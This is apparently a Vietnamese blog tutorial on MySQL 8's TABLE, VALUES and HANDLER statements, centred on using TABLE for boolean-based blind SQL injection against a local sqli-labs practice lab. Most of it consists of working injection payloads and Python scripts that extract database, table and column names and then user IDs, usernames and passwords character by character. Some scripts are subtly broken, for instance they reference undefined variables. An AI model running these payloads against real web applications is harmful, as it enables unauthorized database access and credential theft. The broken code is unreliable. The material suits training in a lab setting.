Tính năng mới của Mysql 8

  1. 1. Tính năng mới của mysql8
    1. 1.1. Câu lệnh TABLE
    2. 1.2. Câu lệnh VALUES
    3. 1.3. Sử dụng câu lệnh table để dump database:
    4. 1.4. Test trực tiếp bằng sql-labs
      1. 1.4.1. Xây dựng môi trường:
      2. 1.4.2. Dump database:
      3. 1.4.3. Dump table:
      4. 1.4.4. Dump column_name:
      5. 1.4.5. Dump bảng đã được xác định:
    5. 1.5. HANDLER Statement
      1. 1.5.1. Systax:

Tính năng mới của mysql8

Câu lệnh TABLE

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

Chức năng: Trả về các hàng và cột của bảng được chỉ định

1
2
3
4
5
6
7
8
9
10
mysql> table users;
+----+--------+---------+
| id | name | emotion |
+----+--------+---------+
| 1 | rayin | love |
| 2 | chuly | love |
| 3 | zujchi | cutee |
| 4 | spider | ugly |
+----+--------+---------+
4 rows in set (0.00 sec)

Trông thì tương tự như câu lệnh select. Kể cả kết hợp order.

1
2
3
4
5
6
7
8
9
10
mysql> select * from users;
+----+--------+---------+
| id | name | emotion |
+----+--------+---------+
| 1 | rayin | love |
| 2 | chuly | love |
| 3 | zujchi | cutee |
| 4 | spider | ugly |
+----+--------+---------+
4 rows in set (0.00 sec)

Tuy nhiên điểm khác ở đây là câu lệnh table sẽ lấy ra toàn bộ bảng, vậy nên where clause sẽ không có tác dụng, nó sẽ đưa ra lỗi.

1
2
mysql> table users where id = 2;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where id = 2' at line 1

Câu lệnh VALUES

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

Câu lệnh nhìn khá phức tạp, đơn giản nó chỉ đưa ra các row mà chúng ta định nghĩa. Ví dụ cho dễ hiểu:

1
2
3
4
5
6
7
8
9
mysql>  values row(1,2,3),row(4,5,6),row(7,8,9);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
| 4 | 5 | 6 |
| 7 | 8 | 9 |
+----------+----------+----------+
3 rows in set (0.00 sec)

Câu lệnh này có thể kết hợp với union như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mysql> select * from users where id=2 union values row(1,2,3);
+----+-------+---------+
| id | name | emotion |
+----+-------+---------+
| 2 | chuly | love |
| 1 | 2 | 3 |
+----+-------+---------+
2 rows in set (0.00 sec)

//Có thứ hay ho rồi đấy :P

mysql> select * from users where id=1 union values row(1,database(),3);
+----+-------+---------+
| id | name | emotion |
+----+-------+---------+
| 1 | rayin | love |
| 1 | mysql | 3 |
+----+-------+---------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union values row(1,(select name from users where id=1),3);
+----+-------+---------+
| id | name | emotion |
+----+-------+---------+
| 1 | rayin | love |
| 1 | rayin | 3 |
+----+-------+---------+
2 rows in set (0.00 sec)

Sử dụng câu lệnh table để dump database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> table information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | information_schema | utf8mb3 | utf8_general_ci | NULL | NO |
| def | performance_schema | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | sys | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
4 rows in set (0.00 sec)

mysql> table information_schema.schemata limit 1;
+--------------+-------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+-------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
+--------------+-------------+----------------------------+------------------------+----------+--------------------+
1 row in set (0.00 sec)

mysql> table information_schema.schemata limit 2,1;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | performance_schema | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+

Để dump ra tên SCHEMA_NAME bằng hàm table ta sẽ sử dụng Boolean-based SQL Injection. Để dễ hình dung chúng ta cùng đi vào ví dụ:

1
2
3
4
5
6
7
8
9
10
11
--Mình chỉ viết ra đầy đủ 1 câu truy vấn nếu như dính sqli sẽ như thế nào để các bạn dễ hình dung. Mình sẽ giải thích sau ^^
mysql> select * from users where id=1 and ('def','m',3,4,5,6)<=(table information_schema.schemata limit 1);
+----+-------+---------+
| id | name | emotion |
+----+-------+---------+
| 1 | rayin | love |
+----+-------+---------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ('def','n',3,4,5,6)<=(table information_schema.schemata limit 1);
Empty set (0.00 sec)

Lưu ý là nếu chúng ta cần tìm cột sau thì phải biết giá trị cột trước mới so sánh được, các cột sau không quan trọng. Ở đây giá trị của cột đầu tiên sẽ là def, cột thứ 2 là tên database, các cột sau là không quan trọng đối với chúng ta. Chúng ta cùng đi vào phần boolean của payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ('def','l',3,4,5,6) <= (table information_schema.schemata limit 1);
+--------------------------------------------------------------------+
| ('def','l',3,4,5,6) <= (table information_schema.schemata limit 1) |
+--------------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','m',3,4,5,6) <= (table information_schema.schemata limit 1);
+--------------------------------------------------------------------+
| ('def','m',3,4,5,6) <= (table information_schema.schemata limit 1) |
+--------------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','n',3,4,5,6) <= (table information_schema.schemata limit 1);
+--------------------------------------------------------------------+
| ('def','n',3,4,5,6) <= (table information_schema.schemata limit 1) |
+--------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

Câu lệnh này ở đây phần sẽ tương đương với việc so sánh chuỗi thứ 2 thuộc (‘def’,’m’,3,4,5,6) với chuỗi thứ 2 từ information_schema.schemata. Và với chỉ 1 kí tự nó sẽ so sánh kí tự đó với kí tự đầu của chuỗi, ở đây là l và mysql sẽ tương đương với so sánh l với m. Và vì l<=m nên trả về true, m<=m nên cũng trả về true, và với n>m nên trả về false. Vậy với việc select với boolean mà ra giá trị có nghĩa là kí tự đó vẫn đang <= kí tự cần tìm. Rồi đến khi clause là false tương đương với kí tự đó lớn hơn kí tự cần tìm, thì ta sẽ xác định kí tự trước đó là kí tự chúng ta cần tìm.

Tương tự như thế và ta sẽ có được tên database đầu tiên.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ('def','ms',3,4,5,6) <= (table information_schema.schemata limit 1);
+---------------------------------------------------------------------+
| ('def','ms',3,4,5,6) <= (table information_schema.schemata limit 1) |
+---------------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','my',3,4,5,6) <= (table information_schema.schemata limit 1);
+---------------------------------------------------------------------+
| ('def','my',3,4,5,6) <= (table information_schema.schemata limit 1) |
+---------------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','mz',3,4,5,6) <= (table information_schema.schemata limit 1);
+---------------------------------------------------------------------+
| ('def','mz',3,4,5,6) <= (table information_schema.schemata limit 1) |
+---------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------+
1 row in set (0.01 sec)

Tiếp tục chúng ta sẽ thay đổi limit clause để lấy từng database ra.

Test trực tiếp bằng sql-labs

Xây dựng môi trường:

Đầu tiên các bạn cần cài đặt docker, khá là dễ thôi nên các bạn tự mình cài lấy nhé.

Cài đặt sqli-labs:

1
2
3
git clone https://github.com/c0ny1/vulstudy.git
cd vulstudy/sqli-labs
docker-compose up -d

Tiếp theo cài đặt Mysql 8:

1
2
docker pull mysql:lastest
docker run --name mysql -p (Địa chỉ ip của bạn, không có dấu ngoặc nhé):3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:tag

Trong terminal gõ docker ps để lấy id của container.

Tiếp theo thay đổi cấu hình của sqli-labs:

1
2
3
4
5
6
7
8
9
10
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0)
> docker exec -it e70d0c13145d /bin/bash
--------------------
root@e70d0c13145d:/# ls
app create_mysql_admin_user.sh home media proc run.sh start-apache2.sh tmp
bin dev lib mnt root sbin start-mysqld.sh usr
boot etc lib64 opt run srv sys var
--------------------
cd app
cd sql-connections

Tiếp theo sử dụng vim để thay đổi nội dung của file db-creds.inc. Hơi khó sử dụng, các bạn tự đọc nhé ^^.

1
2
3
4
5
6
7
8
9
10
vi db-creds.inc
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';//đổi theo mật khẩu đặt trên câu lệnh mysql trên.
$dbname ="security";
$host = '172.30.144.1';//đổi lại thành ip nhập ở câu lệnh mysql trên kia nhé
$dbname1 = "challenges";
?>

Cấu hình mysql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0)
> docker exec -it e99f25e4be29 /bin/bash
root@e99f25e4be29:/# mysql -u root -p
Enter password:
// Đoạn này nhập mk vào nhé, ở đây mình đặt root nên nhập root. Nếu các bạn làm theo mình thì cũng là root.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.29 MySQL Community Server - GPL

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
Cuối cùng gõ:
mysql> ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'root';
Query OK, 0 rows affected (0.00 sec)

Thế là đã xong. Bây giờ gõ localhost trên trình duyệt là sẽ thấy trang web.

Dump database:

Vế phía sau and trả về true thì trên màn hình sẽ có Your Login nameYour Password, còn trả về false thì sẽ không xuất hiện gì cả. Từ đây chúng ta có thể sử dụng boolean sqli kết hợp câu lệnh table để dump ra database.

Chúng ta cần lưu ý về kí tự cuối cùng, ('def','mysql',3,4,5,6) sẽ không bằng với (table information_schema.schemata limit 0,1) nên kí tự cuối sẽ dừng ở chữ k, chuổi bây giờ sẽ là mysqk và với các kí tự nhiễu sau nó sẽ là không bằng và sẽ tiếp tục chạy. Ví dụ ở script dưới sẽ dừng khi i chạy hết 1 đến 20. Khi đó chúng ta có thể cho chạy vậy hoặc lọc cái đó ra vì nó không ảnh hưởng đến kết quả(các bạn test thì sẽ thấy ^^).

Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--Kí tự bình thường.

mysql> select ('def','mysp',3,4,5,6) <= (table information_schema.schemata limit 1);
+-----------------------------------------------------------------------+
| ('def','mysp',3,4,5,6) <= (table information_schema.schemata limit 1) |
+-----------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','mysq',3,4,5,6) <= (table information_schema.schemata limit 1);
+-----------------------------------------------------------------------+
| ('def','mysq',3,4,5,6) <= (table information_schema.schemata limit 1) |
+-----------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------+
1 row in set (0.01 sec)

--Kí tự cuối:

mysql> select ('def','mysqk',3,4,5,6) <= (table information_schema.schemata limit 1);
+------------------------------------------------------------------------+
| ('def','mysqk',3,4,5,6) <= (table information_schema.schemata limit 1) |
+------------------------------------------------------------------------+
| 1 |
+------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','mysql',3,4,5,6) <= (table information_schema.schemata limit 1);
+------------------------------------------------------------------------+
| ('def','mysql',3,4,5,6) <= (table information_schema.schemata limit 1) |
+------------------------------------------------------------------------+
| 0 | -- Trả về false
+------------------------------------------------------------------------+
1 row in set (0.00 sec)

Script dump database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import urllib
url = 'http://localhost/Less-1/?id='
print("Nhập index kí tự cần tìm (VD: 1,2,3,...): ")
index_db = str(int(input())-1)
db_name = ""
count = 0
for i in range(1, 20):
if count > 0:
break
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('def','{}',3,4,5,6)<=(table information_schema.schemata limit {},1)-- -".format(
db_name+j, index_db)
print(db_name+j)
# print(url+payload)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
if "Your Login name" in r.text:
# print(r.text)
# bước này mình check khi nó bị nhiễu ở kí tự cuối
if j == '~':
count += 1
continue
else:
# print(r.text)
db_name += chr(ord(j)-1)
break
# Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
list_dbname = list(db_name)
list_dbname[-1] = chr(ord(list_dbname[-1])+1)
db_name = "".join(list_dbname)
print("Database name is: "+db_name)

Dump table:

Tìm số cột của bảng information_schema.tables:

1
2
3
4
mysql> table information_schema.tables order by 21;
Trả về cái bảng, nhìu quá mình ghi vậy cho nhanh :P
mysql> table information_schema.tables order by 22;
ERROR 1054 (42S22): Unknown column '22' in 'order clause'

Vậy bảng này có 21 cột.

Payload tiếp theo sẽ có dạng:

1
http://localhost/Less-1/?id=1' and('def','mysql','a',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit  0,1)-- -

Ở đây, ô đầu tiên là def, ô thứ 2 là database cần tìm table, ô thứ 3 là table. Các ô sau là không quan trọng. Tuy nhiên chúng ta cần phải limit table đúng với từng database. Không có một cách tìm cụ thể, nên việc test khoảng tìm là cần thiết.

Đây là source cho việc dump table_name của mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import urllib
url = 'http://localhost/Less-1/?id='
table_name = ""
all_table_name = []
count = 0
for index_table in range(300):
count = 0
for i in range(1, 20):
if count > 0:
break
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('def','sys','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format(
table_name+j, index_table)
print(table_name+j)
# print(url+payload)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
if "Your Login name" in r.text:
# print(r.text)
# bước này mình check khi nó bị nhiễu ở kí tự cuối
if j == '~':
count += 1
continue
else:
# print(r.text)
table_name += chr(ord(j)-1)
break
# Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
list_tablename = list(table_name)
list_tablename[-1] = chr(ord(list_tablename[-1])+1)
table_name = "".join(list_dbname)
print("Table name is: "+table_name)
if db_name == "__________________`":
# dòng này là mình với payload của mình, payload nhiễu sẽ hiện ra cái này --> dấu hiệu nhận biết.
break
all_table_name.append(db_name)
table_name = ""
print("All table name:")
print(all_table_name)

Hmm, ở trên k hay cho lắm cái này thuận lợi cho việc dò tìm hơn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database cần tìm table_name: ", end='')
db_name = str(input())
print("Nhập bắt đầu table_name cần tìm: ", end='')
index_table_begin = int(input())-1
print("Nhập kết thúc của table_name cần tìm: ", end='')
index_table_end = int(input())-1
table_name = ''
# -------
all_table_name = []
count = 0
for index_table in range(index_table_begin, index_table_end):
count = 0
for i in range(1, 20):
if count > 0:
break
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format(
db_name, table_name+j, index_table)
print(table_name+j)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
if "Your Login name" in r.text:
# bước này mình check khi nó bị nhiễu ở kí tự cuối
if j == '~':
count += 1
continue
else:
# print(r.text)
table_name += chr(ord(j)-1)
break
# Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
list_tbname = list(table_name)
list_tbname[-1] = chr(ord(list_tbname[-1])+1)
table_name = "".join(list_tbname)
print("Table name is: "+table_name)
all_table_name.append(table_name)
table_name = ""
print("All table name:")
print(all_table_name)

Với payload của mình nếu không đúng index so với database thì nó sẽ có table_name là “__________________`” hoặc là string trống. Để tìm đúng thì chúng ta sẽ dò đến khi có tên hợp lý.

Script dump table_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database cần tìm table_name: ", end='')
db_name = str(input())
print("Nhập bắt đầu table_name cần tìm: ", end='')
index_table_begin = int(input())-1
print("Nhập kết thúc của table_name cần tìm: ", end='')
index_table_end = int(input())-1
table_name = ''
# -------
all_table_name = []
count = 0
for index_table in range(index_table_begin, index_table_end):
count = 0
for i in range(1, 20):
if count > 0:
break
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format(
db_name, table_name+j, index_table)
print(table_name+j)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
if "Your Login name" in r.text:
# bước này mình check khi nó bị nhiễu ở kí tự cuối
if j == '~':
count += 1
continue
else:
# print(r.text)
table_name += chr(ord(j)-1)
break
# break với trường hợp table_name = '' (test là thấy, tùy cách mình lập trình ^^)
if table_name == "":
continue
# Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
list_tbname = list(table_name)
print(list_tbname)
list_tbname[-1] = chr(ord(list_tbname[-1])+1)
table_name = "".join(list_tbname)
# print("Table name is: "+table_name) print thẳng all table name dễ xử lí vấn đề hơn nhỉ ^^.
all_table_name.append(table_name)
table_name = ""
print("All table name:")
print(all_table_name)
'''
//Ở trong bài này, chúng ta cần tìm table_name trong database security
All table name:
['emails', 'referers', 'uagents', 'users', '__________________`', '__________________`', '__________________`', '__________________`']
'''

Dump column_name:

Bảng này có 22 cột. Tương tự như information_schema.tables bảng này cần thêm 2 giá trị xác định là database và table, và dò khoảng đúng với database và table của column. Việc dò này các bạn lưu ý tự dò nhé, bởi vì với mỗi phiên bản sẽ có thêm những table và column nên nó chỉ gần sát với khoảng của mình thôi.

Script dump column_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database cần tìm column_name: ", end='')
db_name = str(input())
print("Nhập table cần tìm column_name: ", end='')
tb_name = str(input())
print("Nhập bắt đầu column_name cần tìm: ", end='')
index_column_begin = int(input())-1
print("Nhập kết thúc của column_name cần tìm: ", end='')
index_column_end = int(input())-1
column_name = ''
# -------
all_column_name = []
count = 0
for index_column in range(index_column_begin, index_column_end):
count = 0
for i in range(1, 20):
if count > 0:
break
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('def','{}','{}','{}',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit {},1)-- -".format(
db_name, tb_name, column_name+j, index_column)
print(column_name+j)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
if "Your Login name" in r.text:
# bước này mình check khi nó bị nhiễu ở kí tự cuối
if j == '~':
count += 1
continue
else:
# print(r.text)
column_name += chr(ord(j)-1)
break
# break với trường hợp column_name = '' (test là thấy, tùy cách mình lập trình ^^)
if column_name == "":
continue
# Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
list_clname = list(column_name)
print(list_clname)
list_clname[-1] = chr(ord(list_clname[-1])+1)
column_name = "".join(list_clname)
all_column_name.append(column_name)
column_name = ""
print("All table name:")
print(all_column_name)
'''
Nhập database cần tìm column_name: security
Nhập table cần tìm column_name: users
Nhập bắt đầu column_name cần tìm: 3490
Nhập kết thúc của column_name cần tìm: 3505
All table name:
['id', 'username', 'password', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`']
'''

Dump bảng đã được xác định:

Mình không hiểu tại sao bây giờ giả sử giá trị cần tìm là dump, thì mình xét với dump thì nó vẫn trả về true. Nhưng mà cũng không quan trọng lắm, làm theo cái mình test thôi à ^^.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ('1','duma','')<=(table security.users limit 1);
+-------------------------------------------------+
| ('1','duma','')<=(table security.users limit 1) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('1','dumb','')<=(table security.users limit 1);
+-------------------------------------------------+
| ('1','dumb','')<=(table security.users limit 1) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('1','dumc','')<=(table security.users limit 1);
+-------------------------------------------------+
| ('1','dumc','')<=(table security.users limit 1) |
+-------------------------------------------------+
| 0 |
+-------------------------------------------------+
1 row in set (0.00 sec)

huhu kĩ năng lập trình kém nên không biết viết như nào cho chuẩn nhất (lười quá), script của mình ở dưới bị dính thằng ‘0’ cách mình bypass chưa tối ưu, nếu giá trị có số 0 thì mình sai nhưng mà lười viết quá.
Dump id:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database của table: ", end='')
db_name = str(input())
print("Nhập table: ", end='')
tb_name = str(input())
value = ''
# -------
all_value = []
count = 0
for index in range(0, 100):
count = 0
for i in range(1, 20):
if count > 0:
break
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('{}','','')<=(table {}.{} limit {},1)-- -".format(
value + j, db_name, tb_name, str(index))
print(value + j)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
# print(r.text)
if "Your Login name" in r.text:
continue
else:
# print(r.text)
if j == '0':
break
value += chr(ord(j)-1)
break
if value == "":
continue
all_value.append(value)
value = ""
print("All value:")
print(all_value)

Dump username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database của table: ", end='')
db_name = str(input())
print("Nhập table: ", end='')
tb_name = str(input())
print("Nhập id: ", end="")
id = str(input())
print("Nhập index của id: ", end="")
index = str(input())
# vì chúng ta biết được index của id từ script đầu tiên rồi
value = ''
# -------
for i in range(1, 20):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('{}','{}','')<=(table {}.{} limit {},1)-- -".format(
id, value + j, db_name, tb_name, index)
print(value + j)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
# print(r.text)
if "Your Login name" in r.text:
continue
else:
# print(r.text)
if j == '0':
break
value += chr(ord(j)-1)
break
print("Giá trị cần tìm là: ", end="")
print(value)

Dump password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump username
```python
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database của table: ", end='')
db_name = str(input())
print("Nhập table: ", end='')
tb_name = str(input())
print("Nhập id: ", end="")
id = str(input())
print("Nhập username: ", end="")
username = str(input())
print("Nhập index của id: ", end="")
index = str(input())
# vì chúng ta biết được index của id từ script đầu tiên rồi
value = ''
# -------
for i in range(1, 20):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ('{}','{}','{}')<=(table {}.{} limit {},1)-- -".format(
id,username, value + j, db_name, tb_name, index)
print(value + j)
payload_encoded = urllib.parse.quote(payload)
r = requests.get(url=url+payload_encoded)
# print(r.text)
if "Your Login name" in r.text:
continue
else:
# print(r.text)
if j == '0':
break
value += chr(ord(j)-1)
break
print("Giá trị cần tìm là: ", end="")
print(value)

HANDLER Statement

Systax:

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> HANDLER users OPEN;
Query OK, 0 rows affected (0.00 sec)

mysql> HANDLER users read first
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
mysql> HANDLER users read next;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
+----+----------+------------+
mysql> HANDLER users read next;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

Để về lại từ đầu chúng ta sẽ bắt đầu lại từ first
mysql> HANDLER users read first
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+

Alias tên bảng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> handler users open as rayin;
Query OK, 0 rows affected (0.00 sec)

mysql> handler rayin read first;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> handler rayin read next;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)